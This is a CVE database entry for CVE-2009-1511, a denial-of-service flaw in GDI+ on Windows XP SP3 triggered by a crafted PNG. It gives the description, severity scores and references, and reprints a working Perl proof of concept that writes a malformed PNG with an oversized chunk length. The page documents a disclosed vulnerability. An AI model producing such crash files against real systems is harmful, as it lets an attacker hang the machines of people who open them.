CVE-2009-1511 : Detail

CVE-2009-1511

17.79%V4
Network
2009-05-01
16h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

GDI+ in Microsoft Windows XP SP3 allows remote attackers to cause a denial of service (infinite loop) via a PNG file that contains a certain large btChunkLen value.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 8466

Publication date : 2009-04-16 22h00 +00:00
Author : Code Audit Labs
EDB Verified : Yes

#!/usr/bin/perl #CAL_gdiplug_poc.pl # # Mircosoft_gdiplug_png_infinity_loop_D.o.S POC # by Code Audit Labs public 2009-04-17 # http://www.vulnhunt.com/ # #Affected #======== #test on full updated winxp sp3 #other version should be affected # #CVE: please assign to a CVE number # #DESCRIPTION #=========== # # The vulnerability exists within the code in MicroSoft Gdi+ processing crafted png file. that cause infinity loop to cause high CPU(100%) and D.o.S . # # #ANALYSIS #======== # # png chunk # # { # DWORD btChunkLen; # CHAR btChunkType[4]; #} CHUNK_HEADER; #if btChunkLen is 0xfffffff4, would cause code fall into infinity loop # open(Fin, ">poc.png") || die "can't create crash sample.$!"; binmode(Fin); $data = "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52" . "\x00\x00\x03\x00\x00\x00\x04\x00\x08\x02\x00\x00\x00\xd9\x44\xa9" . "\x57\xff\xff\xff\xf4\x41\x41\x41\x41\x62\x01\x08\xcb\x06\x49\x3e" . "\xd7\x0a\x00\x22\xe3\xf1\x32\x3e\xe8"; print Fin $data; close(Fin); # milw0rm.com [2009-04-17]

Products Mentioned

Configuraton 0

Microsoft>>Windows_xp >> Version *

References

http://www.securityfocus.com/bid/34586
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/8466
Tags : exploit, x_refsource_EXPLOIT-DB